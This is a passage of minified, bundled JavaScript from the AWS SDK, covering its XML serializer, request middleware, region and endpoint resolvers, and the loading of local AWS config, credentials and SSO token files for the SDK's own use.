_=eE.XmlNode.of(X.getMergedTraits().xmlName??X.getMemberName());this.writeSimpleInto(X,$,_,J),w.addChildNode(_)}}}if(J)w.addAttribute(H,J);return w}writeList(A,K,q,Y){if(!A.isMemberSchema())throw Error(`@aws-sdk/core/protocols - xml serializer, cannot write non-member list: ${A.getName(!0)}`);let z=A.getMergedTraits(),w=A.getValueSchema(),H=w.getMergedTraits(),J=!!H.sparse,O=!!z.xmlFlattened,[X,$]=this.getXmlnsAttribute(A,Y),_=(G,Z)=>{if(w.isListSchema())this.writeList(w,Array.isArray(Z)?Z:[Z],G,$);else if(w.isMapSchema())this.writeMap(w,Z,G,$);else if(w.isStructSchema()){let W=this.writeStruct(w,Z,$);G.addChildNode(W.withName(O?z.xmlName??A.getMemberName():H.xmlName??"member"))}else{let W=eE.XmlNode.of(O?z.xmlName??A.getMemberName():H.xmlName??"member");this.writeSimpleInto(w,Z,W,$),G.addChildNode(W)}};if(O){for(let G of K)if(J||G!=null)_(q,G)}else{let G=eE.XmlNode.of(z.xmlName??A.getMemberName());if($)G.addAttribute(X,$);for(let Z of K)if(J||Z!=null)_(G,Z);q.addChildNode(G)}}writeMap(A,K,q,Y,z=!1){if(!A.isMemberSchema())throw Error(`@aws-sdk/core/protocols - xml serializer, cannot write non-member map: ${A.getName(!0)}`);let w=A.getMergedTraits(),H=A.getKeySchema(),O=H.getMergedTraits().xmlName??"key",X=A.getValueSchema(),$=X.getMergedTraits(),_=$.xmlName??"value",G=!!$.sparse,Z=!!w.xmlFlattened,[W,D]=this.getXmlnsAttribute(A,Y),j=(M,P,f)=>{let N=eE.XmlNode.of(O,P),[T,C]=this.getXmlnsAttribute(H,D);if(C)N.addAttribute(T,C);M.addChildNode(N);let R=eE.XmlNode.of(_);if(X.isListSchema())this.writeList(X,f,R,D);else if(X.isMapSchema())this.writeMap(X,f,R,D,!0);else if(X.isStructSchema())R=this.writeStruct(X,f,D);else this.writeSimpleInto(X,f,R,D);M.addChildNode(R)};if(Z){for(let[M,P]of Object.entries(K))if(G||P!=null){let f=eE.XmlNode.of(w.xmlName??A.getMemberName());j(f,M,P),q.addChildNode(f)}}else{let M;if(!z){if(M=eE.XmlNode.of(w.xmlName??A.getMemberName()),D)M.addAttribute(W,D);q.addChildNode(M)}for(let[P,f]of Object.entries(K))if(G||f!=null){let N=eE.XmlNode.of("entry");j(N,P,f),(z?q:M).addChildNode(N)}}}writeSimple(A,K){if(K===null)throw Error("@aws-sdk/core/protocols - (XML serializer) cannot write null value.");let q=Zz.NormalizedSchema.of(A),Y=null;if(K&&typeof K==="object")if(q.isBlobSchema())Y=(this.serdeContext?.base64Encoder??UCA.toBase64)(K);else if(q.isTimestampSchema()&&K instanceof Date)switch(EZ.determineTimestampFormat(q,this.settings)){case 5:Y=K.toISOString().replace(".000Z","Z");break;case 6:Y=nF.dateToUtcString(K);break;case 7:Y=String(K.getTime()/1000);break;default:console.warn("Missing timestamp format, using http date",K),Y=nF.dateToUtcString(K);break}else if(q.isBigDecimalSchema()&&K){if(K instanceof s_.NumericValue)return K.string;return String(K)}else if(q.isMapSchema()||q.isListSchema())throw Error("@aws-sdk/core/protocols - xml serializer, cannot call _write() on List/Map schema, call writeList or writeMap() instead.");else throw Error(`@aws-sdk/core/protocols - xml serializer, unhandled schema type for object value and schema: ${q.getName(!0)}`);if(q.isBooleanSchema()||q.isNumericSchema()||q.isBigIntegerSchema()||q.isBigDecimalSchema())Y=String(K);if(q.isStringSchema())if(K===void 0&&q.isIdempotencyToken())Y=s_.generateIdempotencyToken();else Y=String(K);if(Y===null)throw Error(`Unhandled schema-value pair ${q.getName(!0)}=${K}`);return Y}writeSimpleInto(A,K,q,Y){let z=this.writeSimple(A,K),w=Zz.NormalizedSchema.of(A),H=new eE.XmlText(z),[J,O]=this.getXmlnsAttribute(w,Y);if(O)q.addAttribute(J,O);q.addChildNode(H)}getXmlnsAttribute(A,K){let q=A.getMergedTraits(),[Y,z]=q.xmlNamespace??[];if(z&&z!==K)return[Y?`xmlns:${Y}`:"xmlns",z];return[void 0,void 0]}}class nn1 extends ei{settings;constructor(A){super();this.settings=A}createSerializer(){let A=new in1(this.settings);return A.setSerdeContext(this.serdeContext),A}createDeserializer(){let A=new r61(this.settings);return A.setSerdeContext(this.serdeContext),A}}class HU8 extends EZ.HttpBindingProtocol{codec;serializer;deserializer;mixin=new XOA;constructor(A){super(A);let K={timestampFormat:{useTrait:!0,default:5},httpBindings:!0,xmlNamespace:A.xmlNamespace,serviceNamespace:A.defaultNamespace};this.codec=new nn1(K),this.serializer=new EZ.HttpInterceptingShapeSerializer(this.codec.createSerializer(),K),this.deserializer=new EZ.HttpInterceptingShapeDeserializer(this.codec.createDeserializer(),K)}getPayloadCodec(){return this.codec}getShapeId(){return"aws.protocols#restXml"}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q),z=Zz.NormalizedSchema.of(A.input);if(!Y.headers["content-type"]){let w=this.mixin.resolveRestContentType(this.getDefaultContentType(),z);if(w)Y.headers["content-type"]=w}if(Y.headers["content-type"]===this.getDefaultContentType()){if(typeof Y.body==="string")Y.body='<?xml version="1.0" encoding="UTF-8"?>'+Y.body}return Y}async deserializeResponse(A,K,q){return super.deserializeResponse(A,K,q)}async handleError(A,K,q,Y,z){let w=wU8(q,Y)??"Unknown",{errorSchema:H,errorMetadata:J}=await this.mixin.getErrorSchemaOrThrowBaseException(w,this.options.defaultNamespace,q,Y,z),O=Zz.NormalizedSchema.of(H),X=Y.Error?.message??Y.Error?.Message??Y.message??Y.Message??"Unknown",_=new(Zz.TypeRegistry.for(H[1]).getErrorCtor(H)??Error)(X);await this.deserializeHttpMessage(H,K,q,Y);let G={};for(let[Z,W]of O.structIterator()){let D=W.getMergedTraits().xmlName??Z,j=Y.Error?.[D]??Y[D];G[Z]=this.codec.createDeserializer().readSchema(W,j)}throw this.mixin.decorateServiceException(Object.assign(_,J,{$fault:O.getMergedTraits().error,message:X},G),Y)}getDefaultContentType(){return"application/xml"}}gT5.AWSSDKSigV4Signer=ET5;gT5.AwsEc2QueryProtocol=YU8;gT5.AwsJson1_0Protocol=eQ8;gT5.AwsJson1_1Protocol=AU8;gT5.AwsJsonRpcProtocol=n61;gT5.AwsQueryProtocol=ln1;gT5.AwsRestJsonProtocol=KU8;gT5.AwsRestXmlProtocol=HU8;gT5.AwsSdkSigV4ASigner=nQ8;gT5.AwsSdkSigV4Signer=l61;gT5.AwsSmithyRpcV2CborProtocol=aQ8;gT5.JsonCodec=i61;gT5.JsonShapeDeserializer=dn1;gT5.JsonShapeSerializer=cn1;gT5.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS=kT5;gT5.NODE_SIGV4A_CONFIG_OPTIONS=LT5;gT5.XmlCodec=nn1;gT5.XmlShapeDeserializer=r61;gT5.XmlShapeSerializer=in1;gT5._toBool=hT5;gT5._toNum=bT5;gT5._toStr=ST5;gT5.awsExpectUnion=BT5;gT5.emitWarningIfUnsupportedVersion=VT5;gT5.getBearerTokenEnvKey=rQ8;gT5.loadRestJsonErrorCode=pn1;gT5.loadRestXmlErrorCode=wU8;gT5.parseJsonBody=Un1;gT5.parseJsonErrorBody=uT5;gT5.parseXmlBody=zU8;gT5.parseXmlErrorBody=mT5;gT5.resolveAWSSDKSigV4Config=RT5;gT5.resolveAwsSdkSigV4AConfig=CT5;gT5.resolveAwsSdkSigV4Config=oQ8;gT5.setCredentialFeature=fT5;gT5.setFeature=NT5;gT5.setTokenFeature=TT5;gT5.state=mn1;gT5.validateSigningProperties=Qn1});var Ub=v((Bv5)=>{var Ev5=Gz(),kv5=gb(),Cv5=WF8(),Qb=aw(),$U8=void 0;function Lv5(A){if(A===void 0)return!0;return typeof A==="string"&&A.length<=50}function Rv5(A){let K=Ev5.normalizeProvider(A.userAgentAppId??$U8),{customUserAgent:q}=A;return Object.assign(A,{customUserAgent:typeof q==="string"?[[q]]:q,userAgentAppId:async()=>{let Y=await K();if(!Lv5(Y)){let z=A.logger?.constructor?.name==="NoOpLogger"||!A.logger?console:A.logger;if(typeof Y!=="string")z?.warn("userAgentAppId must be a string or undefined.");else if(Y.length>50)z?.warn("The provided userAgentAppId exceeds the maximum length of 50 characters.")}return Y}})}var yv5=/\d{12}\.ddb/;async function Iv5(A,K,q){if(q.request?.headers?.["smithy-protocol"]==="rpc-v2-cbor")Qb.setFeature(A,"PROTOCOL_RPC_V2_CBOR","M");if(typeof K.retryStrategy==="function"){let w=await K.retryStrategy();if(typeof w.acquireInitialRetryToken==="function")if(w.constructor?.name?.includes("Adaptive"))Qb.setFeature(A,"RETRY_MODE_ADAPTIVE","F");else Qb.setFeature(A,"RETRY_MODE_STANDARD","E");else Qb.setFeature(A,"RETRY_MODE_LEGACY","D")}if(typeof K.accountIdEndpointMode==="function"){let w=A.endpointV2;if(String(w?.url?.hostname).match(yv5))Qb.setFeature(A,"ACCOUNT_ID_ENDPOINT","O");switch(await K.accountIdEndpointMode?.()){case"disabled":Qb.setFeature(A,"ACCOUNT_ID_MODE_DISABLED","Q");break;case"preferred":Qb.setFeature(A,"ACCOUNT_ID_MODE_PREFERRED","P");break;case"required":Qb.setFeature(A,"ACCOUNT_ID_MODE_REQUIRED","R");break}}let z=A.__smithy_context?.selectedHttpAuthScheme?.identity;if(z?.$source){let w=z;if(w.accountId)Qb.setFeature(A,"RESOLVED_ACCOUNT_ID","T");for(let[H,J]of Object.entries(w.$source??{}))Qb.setFeature(A,H,J)}}var JU8="user-agent",rn1="x-amz-user-agent",OU8=" ",on1="/",Sv5=/[^!$%&'*+\-.^_`|~\w]/g,hv5=/[^!$%&'*+\-.^_`|~\w#]/g,XU8="-",bv5=1024;function xv5(A){let K="";for(let q in A){let Y=A[q];if(K.length+Y.length+1<=bv5){if(K.length)K+=","+Y;else K+=Y;continue}break}return K}var _U8=(A)=>(K,q)=>async(Y)=>{let{request:z}=Y;if(!Cv5.HttpRequest.isInstance(z))return K(Y);let{headers:w}=z,H=q?.userAgent?.map(o61)||[],J=(await A.defaultUserAgentProvider()).map(o61);await Iv5(q,A,Y);let O=q;J.push(`m/${xv5(Object.assign({},q.__smithy_context?.features,O.__aws_sdk_context?.features))}`);let X=A?.customUserAgent?.map(o61)||[],$=await A.userAgentAppId();if($)J.push(o61(["app",`${$}`]));let _=kv5.getUserAgentPrefix(),G=(_?[_]:[]).concat([...J,...H,...X]).join(OU8),Z=[...J.filter((W)=>W.startsWith("aws-sdk-")),...X].join(OU8);if(A.runtime!=="browser"){if(Z)w[rn1]=w[rn1]?`${w[JU8]} ${Z}`:Z;w[JU8]=G}else w[rn1]=G;return K({...Y,request:z})},o61=(A)=>{let K=A[0].split(on1).map((H)=>H.replace(Sv5,XU8)).join(on1),q=A[1]?.replace(hv5,XU8),Y=K.indexOf(on1),z=K.substring(0,Y),w=K.substring(Y+1);if(z==="api")w=w.toLowerCase();return[z,w,q].filter((H)=>H&&H.length>0).reduce((H,J,O)=>{switch(O){case 0:return J;case 1:return`${H}/${J}`;default:return`${H}#${J}`}},"")},GU8={name:"getUserAgentMiddleware",step:"build",priority:"low",tags:["SET_USER_AGENT","USER_AGENT"],override:!0},uv5=(A)=>({applyToStack:(K)=>{K.add(_U8(A),GU8)}});Bv5.DEFAULT_UA_APP_ID=$U8;Bv5.getUserAgentMiddlewareOptions=GU8;Bv5.getUserAgentPlugin=uv5;Bv5.resolveUserAgentConfig=Rv5;Bv5.userAgentMiddleware=_U8});var ZU8=v((cv5)=>{var pv5=(A,K,q)=>{if(!(K in A))return;if(A[K]==="true")return!0;if(A[K]==="false")return!1;throw Error(`Cannot load ${q} "${K}". Expected "true" or "false", got ${A[K]}.`)},dv5=(A,K,q)=>{if(!(K in A))return;let Y=parseInt(A[K],10);if(Number.isNaN(Y))throw TypeError(`Cannot load ${q} '${K}'. Expected number, got '${A[K]}'.`);return Y};cv5.SelectorType=void 0;(function(A){A.ENV="env",A.CONFIG="shared config entry"})(cv5.SelectorType||(cv5.SelectorType={}));cv5.booleanSelector=pv5;cv5.numberSelector=dv5});var l0=v(($E5)=>{var An=ZU8(),a61=WD(),nv5=Ky(),jU8="AWS_USE_DUALSTACK_ENDPOINT",MU8="use_dualstack_endpoint",rv5=!1,ov5={environmentVariableSelector:(A)=>An.booleanSelector(A,jU8,An.SelectorType.ENV),configFileSelector:(A)=>An.booleanSelector(A,MU8,An.SelectorType.CONFIG),default:!1},PU8="AWS_USE_FIPS_ENDPOINT",VU8="use_fips_endpoint",av5=!1,sv5={environmentVariableSelector:(A)=>An.booleanSelector(A,PU8,An.SelectorType.ENV),configFileSelector:(A)=>An.booleanSelector(A,VU8,An.SelectorType.CONFIG),default:!1},tv5=(A)=>{let{tls:K,endpoint:q,urlParser:Y,useDualstackEndpoint:z}=A;return Object.assign(A,{tls:K??!0,endpoint:a61.normalizeProvider(typeof q==="string"?Y(q):q),isCustomEndpoint:!0,useDualstackEndpoint:a61.normalizeProvider(z??!1)})},ev5=async(A)=>{let{tls:K=!0}=A,q=await A.region();if(!new RegExp(/^([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9-]{0,61}[a-zA-Z0-9])$/).test(q))throw Error("Invalid region in client config");let z=await A.useDualstackEndpoint(),w=await A.useFipsEndpoint(),{hostname:H}=await A.regionInfoProvider(q,{useDualstackEndpoint:z,useFipsEndpoint:w})??{};if(!H)throw Error("Cannot resolve hostname from client config");return A.urlParser(`${K?"https:":"http:"}//${H}`)},AE5=(A)=>{let K=a61.normalizeProvider(A.useDualstackEndpoint??!1),{endpoint:q,useFipsEndpoint:Y,urlParser:z,tls:w}=A;return Object.assign(A,{tls:w??!0,endpoint:q?a61.normalizeProvider(typeof q==="string"?z(q):q):()=>ev5({...A,useDualstackEndpoint:K,useFipsEndpoint:Y}),isCustomEndpoint:!!q,useDualstackEndpoint:K})},fU8="AWS_REGION",NU8="region",KE5={environmentVariableSelector:(A)=>A[fU8],configFileSelector:(A)=>A[NU8],default:()=>{throw Error("Region is missing")}},qE5={preferredFile:"credentials"},WU8=new Set,YE5=(A,K=nv5.isValidHostLabel)=>{if(!WU8.has(A)&&!K(A))if(A==="*")console.warn('@smithy/config-resolver WARN - Please use the caller region instead of "*". See "sigv4a" in https://github.com/aws/aws-sdk-js-v3/blob/main/supplemental-docs/CLIENTS.md.');else throw Error(`Region not accepted: region="${A}" is not a valid hostname component.`);else WU8.add(A)},TU8=(A)=>typeof A==="string"&&(A.startsWith("fips-")||A.endsWith("-fips")),zE5=(A)=>TU8(A)?["fips-aws-global","aws-fips"].includes(A)?"us-east-1":A.replace(/fips-(dkr-|prod-)?|-fips/,""):A,wE5=(A)=>{let{region:K,useFipsEndpoint:q}=A;if(!K)throw Error("Region is missing");return Object.assign(A,{region:async()=>{let Y=typeof K==="function"?await K():K,z=zE5(Y);return YE5(z),z},useFipsEndpoint:async()=>{let Y=typeof K==="string"?K:await K();if(TU8(Y))return!0;return typeof q!=="function"?Promise.resolve(!!q):q()}})},DU8=(A=[],{useFipsEndpoint:K,useDualstackEndpoint:q})=>A.find(({tags:Y})=>K===Y.includes("fips")&&q===Y.includes("dualstack"))?.hostname,HE5=(A,{regionHostname:K,partitionHostname:q})=>K?K:q?q.replace("{region}",A):void 0,JE5=(A,{partitionHash:K})=>Object.keys(K||{}).find((q)=>K[q].regions.includes(A))??"aws",OE5=(A,{signingRegion:K,regionRegex:q,useFipsEndpoint:Y})=>{if(K)return K;else if(Y){let z=q.replace("\\\\","\\").replace(/^\^/g,"\\.").replace(/\$$/g,"\\."),w=A.match(z);if(w)return w[0].slice(1,-1)}},XE5=(A,{useFipsEndpoint:K=!1,useDualstackEndpoint:q=!1,signingService:Y,regionHash:z,partitionHash:w})=>{let H=JE5(A,{partitionHash:w}),J=A in z?A:w[H]?.endpoint??A,O={useFipsEndpoint:K,useDualstackEndpoint:q},X=DU8(z[J]?.variants,O),$=DU8(w[H]?.variants,O),_=HE5(J,{regionHostname:X,partitionHostname:$});if(_===void 0)throw Error(`Endpoint resolution failed for: ${{resolvedRegion:J,useFipsEndpoint:K,useDualstackEndpoint:q}}`);let G=OE5(_,{signingRegion:z[J]?.signingRegion,regionRegex:w[H].regionRegex,useFipsEndpoint:K});return{partition:H,signingService:Y,hostname:_,...G&&{signingRegion:G},...z[J]?.signingService&&{signingService:z[J].signingService}}};$E5.CONFIG_USE_DUALSTACK_ENDPOINT=MU8;$E5.CONFIG_USE_FIPS_ENDPOINT=VU8;$E5.DEFAULT_USE_DUALSTACK_ENDPOINT=rv5;$E5.DEFAULT_USE_FIPS_ENDPOINT=av5;$E5.ENV_USE_DUALSTACK_ENDPOINT=jU8;$E5.ENV_USE_FIPS_ENDPOINT=PU8;$E5.NODE_REGION_CONFIG_FILE_OPTIONS=qE5;$E5.NODE_REGION_CONFIG_OPTIONS=KE5;$E5.NODE_USE_DUALSTACK_ENDPOINT_CONFIG_OPTIONS=ov5;$E5.NODE_USE_FIPS_ENDPOINT_CONFIG_OPTIONS=sv5;$E5.REGION_ENV_NAME=fU8;$E5.REGION_INI_NAME=NU8;$E5.getRegionInfo=XE5;$E5.resolveCustomEndpointsConfig=tv5;$E5.resolveEndpointsConfig=AE5;$E5.resolveRegionConfig=wE5});var vU8=v((hE5)=>{hE5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(hE5.HttpAuthLocation||(hE5.HttpAuthLocation={}));hE5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(hE5.HttpApiKeyAuthLocation||(hE5.HttpApiKeyAuthLocation={}));hE5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(hE5.EndpointURLScheme||(hE5.EndpointURLScheme={}));hE5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(hE5.AlgorithmId||(hE5.AlgorithmId={}));var LE5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>hE5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>hE5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},RE5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},yE5=(A)=>{return LE5(A)},IE5=(A)=>{return RE5(A)};hE5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(hE5.FieldPosition||(hE5.FieldPosition={}));var SE5="__smithy_context";hE5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(hE5.IniSectionType||(hE5.IniSectionType={}));hE5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(hE5.RequestHandlerProtocol||(hE5.RequestHandlerProtocol={}));hE5.SMITHY_CONTEXT_KEY=SE5;hE5.getDefaultClientConfiguration=yE5;hE5.resolveDefaultRuntimeConfig=IE5});var LU8=v((UE5)=>{var BE5=vU8(),mE5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},gE5=(A)=>{return{httpHandler:A.httpHandler()}};class EU8{name;kind;values;constructor({name:A,kind:K=BE5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class kU8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class s61{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new s61({...A,headers:{...A.headers}});if(K.query)K.query=FE5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return s61.clone(this)}}function FE5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class CU8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function QE5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}UE5.Field=EU8;UE5.Fields=kU8;UE5.HttpRequest=s61;UE5.HttpResponse=CU8;UE5.getHttpHandlerExtensionConfiguration=mE5;UE5.isValidHostname=QE5;UE5.resolveHttpHandlerRuntimeConfig=gE5});var rF=v((sE5)=>{var oE5=LU8(),RU8="content-length";function yU8(A){return(K)=>async(q)=>{let Y=q.request;if(oE5.HttpRequest.isInstance(Y)){let{body:z,headers:w}=Y;if(z&&Object.keys(w).map((H)=>H.toLowerCase()).indexOf(RU8)===-1)try{let H=A(z);Y.headers={...Y.headers,[RU8]:String(H)}}catch(H){}}return K({...q,request:Y})}}var IU8={step:"build",tags:["SET_CONTENT_LENGTH","CONTENT_LENGTH"],name:"contentLengthMiddleware",override:!0},aE5=(A)=>({applyToStack:(K)=>{K.add(yU8(A.bodyLengthChecker),IU8)}});sE5.contentLengthMiddleware=yU8;sE5.contentLengthMiddlewareOptions=IU8;sE5.getContentLengthPlugin=aE5});var zr1=v((SU8)=>{Object.defineProperty(SU8,"__esModule",{value:!0});SU8.getHomeDir=void 0;var Kk5=CA("os"),qk5=CA("path"),Yr1={},Yk5=()=>{if(process&&process.geteuid)return`${process.geteuid()}`;return"DEFAULT"},zk5=()=>{let{HOME:A,USERPROFILE:K,HOMEPATH:q,HOMEDRIVE:Y=`C:${qk5.sep}`}=process.env;if(A)return A;if(K)return K;if(q)return`${Y}${q}`;let z=Yk5();if(!Yr1[z])Yr1[z]=(0,Kk5.homedir)();return Yr1[z]};SU8.getHomeDir=zk5});var wr1=v((bU8)=>{Object.defineProperty(bU8,"__esModule",{value:!0});bU8.getSSOTokenFilepath=void 0;var wk5=CA("crypto"),Hk5=CA("path"),Jk5=zr1(),Ok5=(A)=>{let q=(0,wk5.createHash)("sha1").update(A).digest("hex");return(0,Hk5.join)((0,Jk5.getHomeDir)(),".aws","sso","cache",`${q}.json`)};bU8.getSSOTokenFilepath=Ok5});var mU8=v((uU8)=>{Object.defineProperty(uU8,"__esModule",{value:!0});uU8.getSSOTokenFromFile=uU8.tokenIntercept=void 0;var Xk5=CA("fs/promises"),$k5=wr1();uU8.tokenIntercept={};var _k5=async(A)=>{if(uU8.tokenIntercept[A])return uU8.tokenIntercept[A];let K=(0,$k5.getSSOTokenFilepath)(A),q=await(0,Xk5.readFile)(K,"utf8");return JSON.parse(q)};uU8.getSSOTokenFromFile=_k5});var gU8=v((Mk5)=>{Mk5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(Mk5.HttpAuthLocation||(Mk5.HttpAuthLocation={}));Mk5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(Mk5.HttpApiKeyAuthLocation||(Mk5.HttpApiKeyAuthLocation={}));Mk5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(Mk5.EndpointURLScheme||(Mk5.EndpointURLScheme={}));Mk5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(Mk5.AlgorithmId||(Mk5.AlgorithmId={}));var Gk5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>Mk5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>Mk5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},Zk5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},Wk5=(A)=>{return Gk5(A)},Dk5=(A)=>{return Zk5(A)};Mk5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(Mk5.FieldPosition||(Mk5.FieldPosition={}));var jk5="__smithy_context";Mk5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(Mk5.IniSectionType||(Mk5.IniSectionType={}));Mk5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(Mk5.RequestHandlerProtocol||(Mk5.RequestHandlerProtocol={}));Mk5.SMITHY_CONTEXT_KEY=jk5;Mk5.getDefaultClientConfiguration=Wk5;Mk5.resolveDefaultRuntimeConfig=Dk5});var UU8=v((FU8)=>{Object.defineProperty(FU8,"__esModule",{value:!0});FU8.readFile=FU8.fileIntercept=FU8.filePromises=void 0;var Nk5=CA("node:fs/promises");FU8.filePromises={};FU8.fileIntercept={};var Tk5=(A,K)=>{if(FU8.fileIntercept[A]!==void 0)return FU8.fileIntercept[A];if(!FU8.filePromises[A]||K?.ignoreCache)FU8.filePromises[A]=(0,Nk5.readFile)(A,"utf8");return FU8.filePromises[A]};FU8.readFile=Tk5});var pb=v((A8A)=>{var cCA=zr1(),pU8=wr1(),Wr1=mU8(),e61=CA("path"),A81=gU8(),$OA=UU8(),cU8="AWS_PROFILE",lU8="default",vk5=(A)=>A.profile||process.env[cU8]||lU8,e6A=".",Ek5=(A)=>Object.entries(A).filter(([K])=>{let q=K.indexOf(e6A);if(q===-1)return!1;return Object.values(A81.IniSectionType).includes(K.substring(0,q))}).reduce((K,[q,Y])=>{let z=q.indexOf(e6A),w=q.substring(0,z)===A81.IniSectionType.PROFILE?q.substring(z+1):q;return K[w]=Y,K},{...A.default&&{default:A.default}}),kk5="AWS_CONFIG_FILE",iU8=()=>process.env[kk5]||e61.join(cCA.getHomeDir(),".aws","config"),Ck5="AWS_SHARED_CREDENTIALS_FILE",Lk5=()=>process.env[Ck5]||e61.join(cCA.getHomeDir(),".aws","credentials"),Rk5=/^([\w-]+)\s(["'])?([\w-@\+\.%:/]+)\2$/,yk5=["__proto__","profile __proto__"],Dr1=(A)=>{let K={},q,Y;for(let z of A.split(/\r?\n/)){let w=z.split(/(^|\s)[;#]/)[0].trim();if(w[0]==="["&&w[w.length-1]==="]"){q=void 0,Y=void 0;let J=w.substring(1,w.length-1),O=Rk5.exec(J);if(O){let[,X,,$]=O;if(Object.values(A81.IniSectionType).includes(X))q=[X,$].join(e6A)}else q=J;if(yk5.includes(J))throw Error(`Found invalid profile name "${J}"`)}else if(q){let J=w.indexOf("=");if(![0,-1].includes(J)){let[O,X]=[w.substring(0,J).trim(),w.substring(J+1).trim()];if(X==="")Y=O;else{if(Y&&z.trimStart()===z)Y=void 0;K[q]=K[q]||{};let $=Y?[Y,O].join(e6A):O;K[q][$]=X}}}}return K},dU8=()=>({}),nU8=async(A={})=>{let{filepath:K=Lk5(),configFilepath:q=iU8()}=A,Y=cCA.getHomeDir(),z="~/",w=K;if(K.startsWith("~/"))w=e61.join(Y,K.slice(2));let H=q;if(q.startsWith("~/"))H=e61.join(Y,q.slice(2));let J=await Promise.all([$OA.readFile(H,{ignoreCache:A.ignoreCache}).then(Dr1).then(Ek5).catch(dU8),$OA.readFile(w,{ignoreCache:A.ignoreCache}).then(Dr1).catch(dU8)]);return{configFile:J[0],credentialsFile:J[1]}},Ik5=(A)=>Object.entries(A).filter(([K])=>K.startsWith(A81.IniSectionType.SSO_SESSION+e6A)).reduce((K,[q,Y])=>({...K,[q.substring(q.indexOf(e6A)+1)]:Y}),{}),Sk5=()=>({}),hk5=async(A={})=>$OA.readFile(A.configFilepath??iU8()).then(Dr1).then(Ik5).catch(Sk5),bk5=(...A)=>{let K={};for(let q of A)for(let[Y,z]of Object.entries(q))if(K[Y]!==void 0)Object.assign(K[Y],z);else K[Y]=z;return K},xk5=async(A)=>{let K=await nU8(A);return bk5(K.configFile,K.credentialsFile)},uk5={getFileRecord(){return $OA.fileIntercept},interceptFile(A,K){$OA.fileIntercept[A]=Promise.resolve(K)},getTokenRecord(){return Wr1.tokenIntercept},interceptToken(A,K){Wr1.tokenIntercept[A]=K}};Object.defineProperty(A8A,"getSSOTokenFromFile",{enumerable:!0,get:function(){return Wr1.getSSOTokenFromFile}});Object.defineProperty(A8A,"readFile",{enumerable:!0,get:function(){return 